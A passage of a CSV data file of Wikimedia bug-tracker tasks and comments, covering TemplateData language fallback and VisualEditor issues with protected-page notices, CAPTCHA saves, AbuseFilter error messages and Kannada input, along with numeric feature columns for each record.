+}",,,1374856866,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+238821,TemplateData: Process language fallback and conversion server-side,"So I'm not too Wikidata-savvy, but it seems this patch might be useful (if it's not, ignore me and carry on):
+
+https://gerrit.wikimedia.org/r/72867
+
+Right now there is no way to determine the real language of a message from the CDB cache. That patch changes this.",,,1374856762,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+238815,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #4)
+> (In reply to comment #2)
+> > API call should ideally specify the fall-back language chain and return just
+> > one set for clients (so the weight is on the server).
+> 
+> Do we care about the real language info of a label.
+
+We don't, but users on multi-lingual wikis will if we send them 1 MiB of descriptions of a template when they only care about 2 KiB worth of the contents. :-)
+
+> That is, is this fine?
+> 
+> {
+>     ""pages"": {
+>         ""1467239"": {
+>             ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
+>             ""description"": {
+>                 ""pt"": ""Some text written in English""
+>             },
+>             ""params"": {
+>                 ""t\u00edtulo"": {
+>                     ""label"": {
+>                         ""pt"": ""Some other text written in Spanish""
+>                     },
+>                     ...
+>             }
+>             ...
+>      }
+> }
+
+Fine technically - I think users would be upset and confused.",,,1374856587,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,0,0,1
+238807,TemplateData: Process language fallback and conversion server-side,"(In reply to comment #2)
+> API call should ideally specify the fall-back language chain and return just
+> one set for clients (so the weight is on the server).
+
+Do we care about the real language info of a label.
+
+That is, is this fine?
+
+{
+    ""pages"": {
+        ""1467239"": {
+            ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
+            ""description"": {
+                ""pt"": ""Some text written in English""
+            },
+            ""params"": {
+                ""t\u00edtulo"": {
+                    ""label"": {
+                        ""pt"": ""Some other text written in Spanish""
+                    },
+                    ...
+            }
+            ...
+     }
+}",,,1374856405,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+238799,TemplateData: Process language fallback and conversion server-side,"Falling back to (LanguageConverter)-converted labels is needed too.
+
+It seems my LanguageFallbackChain and related classes (currently in Wikibase) is useful here again.",,,1374150699,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+238791,TemplateData: Process language fallback and conversion server-side,API call should ideally specify the fall-back language chain and return just one set for clients (so the weight is on the server).,,,1372535404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+238785,TemplateData: Process language fallback and conversion server-side,"For the record, the data returned by the API has all the information, but it is in the ""pt"" properties:
+https://pt.wikipedia.org/w/api.php?format=jsonfm&action=templatedata&titles=Predefini%C3%A7%C3%A3o%3Arefer%C3%AAncias
+E.g.:
+{
+    ""pages"": {
+        ""1467239"": {
+            ""title"": ""Predefini\u00e7\u00e3o:Refer\u00eancias"",
+            ""description"": {
+                ""pt"": ""Produz o t\u00edtulo da se\u00e7\u00e3o de refer\u00eancias e impede que seja edit\u00e1vel""
+            },
+            ""params"": {
+                ""t\u00edtulo"": {
+                    ""label"": {
+                        ""pt"": ""T\u00edtulo da se\u00e7\u00e3o""
+                    },
+                    ...
+            }
+            ...
+     }
+}",,,1372535216,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-uydrcj3p2rhxycgc65tn,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+52415,VisualEditor: Protected page warning messages are missing,"VE is missing the red ""semi-protected page"" box seen at
+http://en.wikipedia.org/w/index.php?title=Muscle&action=edit and probably also the equivalent one for administrators on fully protected pages.
+
+They should be displayed as a ""notice"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51215",High,80.0,1372489200,1373498492.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ndmy33qu6brquwrr27nw,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+237798,VisualEditor: Protected page warning messages are missing,This is now fixed in master and we will push to production very soon. Sorry for the inconvenience.,,,1373497562,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,True,,,1,,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+237794,VisualEditor: Protected page warning messages are missing,"Change 73022 merged by jenkins-bot:
+Add protected & semiprotected notices to api.
+
+https://gerrit.wikimedia.org/r/73022",,,1373497150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+237789,VisualEditor: Protected page warning messages are missing,"Change 73022 had a related patch set uploaded by Robmoen:
+Add protected & semiprotected notices to api.
+
+https://gerrit.wikimedia.org/r/73022",,,1373487840,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237784,VisualEditor: Protected page warning messages are missing,"(In reply to comment #3)
+> The edit box of a protected page also uses a pick background.  That is
+> missing
+> from VE.
+
+No, this is enwiki's local CSS: [[MediaWiki:Group-sysop.css]] needs to be updated. I will file an edit request.",,,1372914263,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+237777,VisualEditor: Protected page warning messages are missing,The edit box of a protected page also uses a pick background.  That is missing from VE.,,,1372913884,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+237771,VisualEditor: Protected page warning messages are missing,"This also applies to things like BLP warnings, mind; non-page-specific warnings generally seem to get cut off.",,,1372751625,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237763,VisualEditor: Protected page warning messages are missing,"In sequencing, this should probably be above everything except the not-applicable anon warning (so anon warning > protected > editing old > page notices). Maybe we need a more formal ordering?",,,1372614070,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ndmy33qu6brquwrr27nw,task_subcomment,,True,c1,2,True,,,-1,,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+52392,<span> floats out of a table(?),"Possibly related to Bug 49892, VE is inserting random <span> parameters.  
+
+See:
+https://en.wikipedia.org/w/index.php?title=Ruger_P_series&diff=next&oldid=560801075
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1372450980,1373061530.0,PHID-USER-fwlidikyeorzj35hufwu,False,,False,PHID-TASK-fmgdk7zrdnkog3djzdrc,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+236534,<span> floats out of a table(?),"That diff is from before we deployed the fix in 49892.  And, the oldid html is probably coming from the cache.  So, once cache is purged, this should go away.  Closing this.  Please reopen if still an issue.",,,1373061530,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-fmgdk7zrdnkog3djzdrc,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+236529,<span> floats out of a table(?),"I can reproduce this against current production VisualEditor/Parsoid on that oldid but not the current id. I'm presuming that this is a Parsoid bug, but not sure of the severity.",,,1373057068,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fmgdk7zrdnkog3djzdrc,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+52356,VisualEditor: Edits triggering CAPTCHA cannot be saved,"On a CAPTCHA-triggering edit, VE does not display the CAPTCHA, instead showing an alert:
+
+Error saving data to server: Failed request: error.
+
+Marking critical, because VE is in use by 50% of new users at enwiki, none of whom are now able to add external links for sourcing purposes.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1372413660,1372582072.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-lsxohsnqwom7fu46vsrm,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+234234,VisualEditor: Edits triggering CAPTCHA cannot be saved,[[mw:Thread:Extension talk:VisualEditor/VE and ConfirmEdit]],,,1395111940,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+234228,VisualEditor: Edits triggering CAPTCHA cannot be saved,This is now fixed in master and will be deployed on Monday.,,,1372582072,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+234221,VisualEditor: Edits triggering CAPTCHA cannot be saved,"Change 71160 merged by jenkins-bot:
+mw: Implement support for ConfirmEdit and FancyCaptcha
+
+https://gerrit.wikimedia.org/r/71160",,,1372563855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234215,VisualEditor: Edits triggering CAPTCHA cannot be saved,"Change 71160 had a related patch set uploaded by Krinkle:
+mw: Implement support for ConfirmEdit and FancyCaptcha
+
+https://gerrit.wikimedia.org/r/71160",,,1372537638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+234207,VisualEditor: Edits triggering CAPTCHA cannot be saved,"Right now the handling of any error results the following alert:
+
+> Error saving data to server: Failed request: {api.result}.
+
+The only variable we use is the result code, not the error code. And though the error code varies (badtoken, hookabort, needcaptcha) the result is always ""error"".
+
+Fortunately (at least) the ConfirmEdit extension, and specifically the FancyCaptcha variant (which Wikimedia uses) does provide an API and exposes the following through the EditPage/ApiEdit/ApiVisualEditor result:
+
+{
+    ""visualeditor"": {
+        ""result"": ""error"",
+        ""edit"": {
+            ""captcha"": {
+                ""type"": ""image"",
+                ""mime"": ""image/png"",
+                ""id"": ""626590462"",
+                ""url"": ""//alpha.wikipedia.krinkle.dev/w/index.php?title=Special:Captcha/image&wpCaptchaId=fa4e388ad7""
+            },
+            ""result"": ""Failure""
+        }
+    }
+}
+
+So it looks like we can use this to build the UI for it.",,,1372458780,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+234199,VisualEditor: Edits triggering CAPTCHA cannot be saved,"This depends on MediaWiki making the CAPTCHAs available through an API, which I believe is currently not done. Timo to comment.",,,1372450760,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+234193,VisualEditor: Edits triggering CAPTCHA cannot be saved,"(In reply to comment #0)
+> Error saving data to server: Failed request: error.
+
+The same error is also seen when triggering the spam blacklist.",,,1372422758,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1
+52350,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"When attempting an edit that is disallowed by AbuseFilter, you get a browser alert:
+
+Error saving data to server: Unsuccessful request: The modification you tried to make was aborted by an extension hook.
+
+Instead, VE should show a less cryptic message specific to AbuseFilter.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1372407600,1372703938.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-yhjioiu5qdrnau76umcl,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+233851,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,This has now been done and will go out today.,,,1372703938,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+233843,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"Change 71293 merged by jenkins-bot:
+mw.ViewPageTarget: Show save errors in save dialog instead of alert
+
+https://gerrit.wikimedia.org/r/71293",,,1372703904,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233837,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"Given that AbuseFilter (but not others) depend on bug 32216, I'm moving that part to a new bug, bug 50472; the rest of this bug will be done today.",,,1372618721,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+233831,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"AbuseFilter, wgSpamRegex (core), TitleBlacklist, SpamBlacklist, ..",,,1372617952,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233823,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"Change 71293 had a related patch set uploaded by Krinkle:
+(DRAFT) mw.ViewPageTarget: Show unrecoverable/unknown save errors in dialog instead of alert
+
+https://gerrit.wikimedia.org/r/71293",,,1372617672,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+52346,VE does not support typing in Kannada,"VE's behaviour is not as expected when I invoke my own IME for entering Kannada text. If I press Enter after typing some text, it creates a blank line above the current line rather than below the line. Some conjuncts also get dissociated and show sthe constituent Unicode character instead of the conjuncts. I am using Windows 8 and Firefox (ver 21). I tried using the built-in IME as well as Baraa IME. in both cases I could not use the VE for typing in Kannada.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1372403160,1377202358.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,,False,PHID-TASK-2qe7sdslfntthznnkcbt,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+233629,VE does not support typing in Kannada,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+233623,VE does not support typing in Kannada,"Change 80080 merged by jenkins-bot:
+Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377164912,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233616,VE does not support typing in Kannada,"Change 80080 had a related patch set uploaded by Jforrester:
+WIP:Don't emit Surface changes back to the Surface
+
+https://gerrit.wikimedia.org/r/80080",,,1377027669,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233609,VE does not support typing in Kannada,"Hi, thanks for your help.
+
+I think the issue may be resolved by the following patch: https://gerrit.wikimedia.org/r/#/c/79451 . Or at least, the problems may be different now. I'm not sure it's working correctly with the ""Kannada inscript (m17n)"" ibus input method on Ubuntu+firefox, but it would be good for a Kannada reader to verify this!",,,1376936950,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,0
+233602,VE does not support typing in Kannada,"VE Kannada screen shot after pressing spacebar
+
